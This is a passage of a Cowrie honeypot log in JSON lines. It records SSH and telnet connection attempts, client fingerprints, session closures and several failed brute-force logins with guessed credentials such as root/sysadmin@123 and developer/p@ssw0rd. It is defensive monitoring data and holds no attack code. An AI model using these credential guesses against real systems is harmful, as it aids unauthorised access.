-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:00.401074Z","src_ip":"152.32.130.174","session":"74aa80553563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sysadmin@123","message":"login attempt [root/sysadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:01.297682Z","src_ip":"152.32.130.174","session":"74aa80553563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:02.536284Z","src_ip":"152.32.130.174","session":"74aa80553563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.051005125045776,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:04.714695Z","src_ip":"161.97.105.174","session":"43da40d02467","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.42387652397156,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:06.584393Z","src_ip":"161.97.105.174","session":"cd5819dac95f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":39732,"dst_ip":"10.17.0.5","dst_port":22,"session":"af17789b983e","protocol":"ssh","message":"New connection: 154.219.100.220:39732 (10.17.0.5:22) [session: af17789b983e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:06.847189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:06.852238Z","src_ip":"154.219.100.220","session":"af17789b983e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:07.060784Z","src_ip":"154.219.100.220","session":"af17789b983e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.24411225318909,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:07.163445Z","src_ip":"161.97.105.174","session":"1233de1346c2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testing","password":"admin123","message":"login attempt [testing/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:07.927818Z","src_ip":"154.219.100.220","session":"af17789b983e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.39753246307373,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:08.231444Z","src_ip":"143.202.7.126","session":"edd1156e47ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:09.144414Z","src_ip":"154.219.100.220","session":"af17789b983e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49878,"dst_ip":"159.203.135.109","dst_port":23,"session":"b10188dbe944","protocol":"telnet","message":"New connection: 161.97.105.174:49878 (159.203.135.109:23) [session: b10188dbe944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:11.010130Z"}
{"eventid":"cowrie.session.closed","duration":33.14232873916626,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:12.022275Z","src_ip":"161.97.105.174","session":"e22b26a3e00d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.97293186187744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:18.946905Z","src_ip":"161.97.105.174","session":"da12485fb42d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":54396,"dst_ip":"10.17.0.5","dst_port":22,"session":"53a795be2b4b","protocol":"ssh","message":"New connection: 103.170.173.26:54396 (10.17.0.5:22) [session: 53a795be2b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:20.539457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:20.544051Z","src_ip":"103.170.173.26","session":"53a795be2b4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:20.803401Z","src_ip":"103.170.173.26","session":"53a795be2b4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35226,"dst_ip":"159.203.135.109","dst_port":23,"session":"da6aad15e359","protocol":"telnet","message":"New connection: 161.97.105.174:35226 (159.203.135.109:23) [session: da6aad15e359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:21.192296Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hduser12345678","message":"login attempt [ubuntu/hduser12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:21.872384Z","src_ip":"103.170.173.26","session":"53a795be2b4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.31597900390625,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:22.535189Z","src_ip":"161.97.105.174","session":"53dc05b3f20f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:23.137484Z","src_ip":"103.170.173.26","session":"53a795be2b4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.80912661552429,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:25.641703Z","src_ip":"161.97.105.174","session":"43eb54f54679","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35242,"dst_ip":"159.203.135.109","dst_port":23,"session":"900379c31c8e","protocol":"telnet","message":"New connection: 161.97.105.174:35242 (159.203.135.109:23) [session: 900379c31c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:27.523260Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43058,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fca2fa3d144","protocol":"telnet","message":"New connection: 64.227.101.30:43058 (10.17.0.5:23) [session: 8fca2fa3d144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:28.444743Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44366,"dst_ip":"159.203.135.109","dst_port":23,"session":"deaa3d6d43f8","protocol":"telnet","message":"New connection: 161.97.105.174:44366 (159.203.135.109:23) [session: deaa3d6d43f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:29.725875Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44376,"dst_ip":"159.203.135.109","dst_port":23,"session":"59cfe5d3021f","protocol":"telnet","message":"New connection: 161.97.105.174:44376 (159.203.135.109:23) [session: 59cfe5d3021f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:31.059717Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44384,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bedbb925057","protocol":"telnet","message":"New connection: 161.97.105.174:44384 (159.203.135.109:23) [session: 5bedbb925057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:32.226925Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44394,"dst_ip":"159.203.135.109","dst_port":23,"session":"9eccc5a978de","protocol":"telnet","message":"New connection: 161.97.105.174:44394 (159.203.135.109:23) [session: 9eccc5a978de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:32.823239Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":44158,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3be5093304f","protocol":"ssh","message":"New connection: 202.125.94.71:44158 (10.17.0.5:22) [session: b3be5093304f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:33.371518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:33.376288Z","src_ip":"202.125.94.71","session":"b3be5093304f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44404,"dst_ip":"159.203.135.109","dst_port":23,"session":"f75b7a16fb07","protocol":"telnet","message":"New connection: 161.97.105.174:44404 (159.203.135.109:23) [session: f75b7a16fb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:33.515304Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:33.639700Z","src_ip":"202.125.94.71","session":"b3be5093304f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"666666","message":"login attempt [ftpuser/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:34.724830Z","src_ip":"202.125.94.71","session":"b3be5093304f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:35.991908Z","src_ip":"202.125.94.71","session":"b3be5093304f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.50.58.139","src_port":39333,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a8e05f5f874","protocol":"telnet","message":"New connection: 38.50.58.139:39333 (10.17.0.5:23) [session: 8a8e05f5f874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:36.035747Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44420,"dst_ip":"159.203.135.109","dst_port":23,"session":"79f11e1bf346","protocol":"telnet","message":"New connection: 161.97.105.174:44420 (159.203.135.109:23) [session: 79f11e1bf346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:36.142379Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44434,"dst_ip":"159.203.135.109","dst_port":23,"session":"320f0a205379","protocol":"telnet","message":"New connection: 161.97.105.174:44434 (159.203.135.109:23) [session: 320f0a205379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:36.359521Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40940,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffcd0f2fc57f","protocol":"telnet","message":"New connection: 161.97.105.174:40940 (159.203.135.109:23) [session: ffcd0f2fc57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:40.414622Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40942,"dst_ip":"159.203.135.109","dst_port":23,"session":"40537334c472","protocol":"telnet","message":"New connection: 161.97.105.174:40942 (159.203.135.109:23) [session: 40537334c472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:42.817529Z"}
{"eventid":"cowrie.session.closed","duration":37.21593976020813,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:48.225954Z","src_ip":"161.97.105.174","session":"b10188dbe944","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.576678037643433,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:48.612299Z","src_ip":"38.50.58.139","session":"8a8e05f5f874","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":54334,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8018afd858e","protocol":"ssh","message":"New connection: 152.32.130.174:54334 (10.17.0.5:22) [session: a8018afd858e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:50.903098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:50.907659Z","src_ip":"152.32.130.174","session":"a8018afd858e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55978,"dst_ip":"159.203.135.109","dst_port":23,"session":"6519a1c6715a","protocol":"telnet","message":"New connection: 161.97.105.174:55978 (159.203.135.109:23) [session: 6519a1c6715a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:50.930611Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:51.126345Z","src_ip":"152.32.130.174","session":"a8018afd858e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55984,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb9952051090","protocol":"telnet","message":"New connection: 161.97.105.174:55984 (159.203.135.109:23) [session: bb9952051090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:51.433617Z"}
{"eventid":"cowrie.login.failed","username":"developer","password":"p@ssw0rd","message":"login attempt [developer/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:52.033675Z","src_ip":"152.32.130.174","session":"a8018afd858e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:53.255866Z","src_ip":"152.32.130.174","session":"a8018afd858e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.36169242858887,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:55.553852Z","src_ip":"161.97.105.174","session":"da6aad15e359","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55998,"dst_ip":"159.203.135.109","dst_port":23,"session":"92a3a41d8a44","protocol":"telnet","message":"New connection: 161.97.105.174:55998 (159.203.135.109:23) [session: 92a3a41d8a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:55.964512Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":38280,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4cf60db7d7e","protocol":"ssh","message":"New connection: 154.219.100.220:38280 (10.17.0.5:22) [session: e4cf60db7d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:58.408792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:58.413853Z","src_ip":"154.219.100.220","session":"e4cf60db7d7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:58.621926Z","src_ip":"154.219.100.220","session":"e4cf60db7d7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49996,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc2d5ee24f1a","protocol":"telnet","message":"New connection: 161.97.105.174:49996 (159.203.135.109:23) [session: bc2d5ee24f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:58.787386Z"}
{"eventid":"cowrie.session.closed","duration":31.927701473236084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:59.450865Z","src_ip":"161.97.105.174","session":"900379c31c8e","protocol":"telnet"}
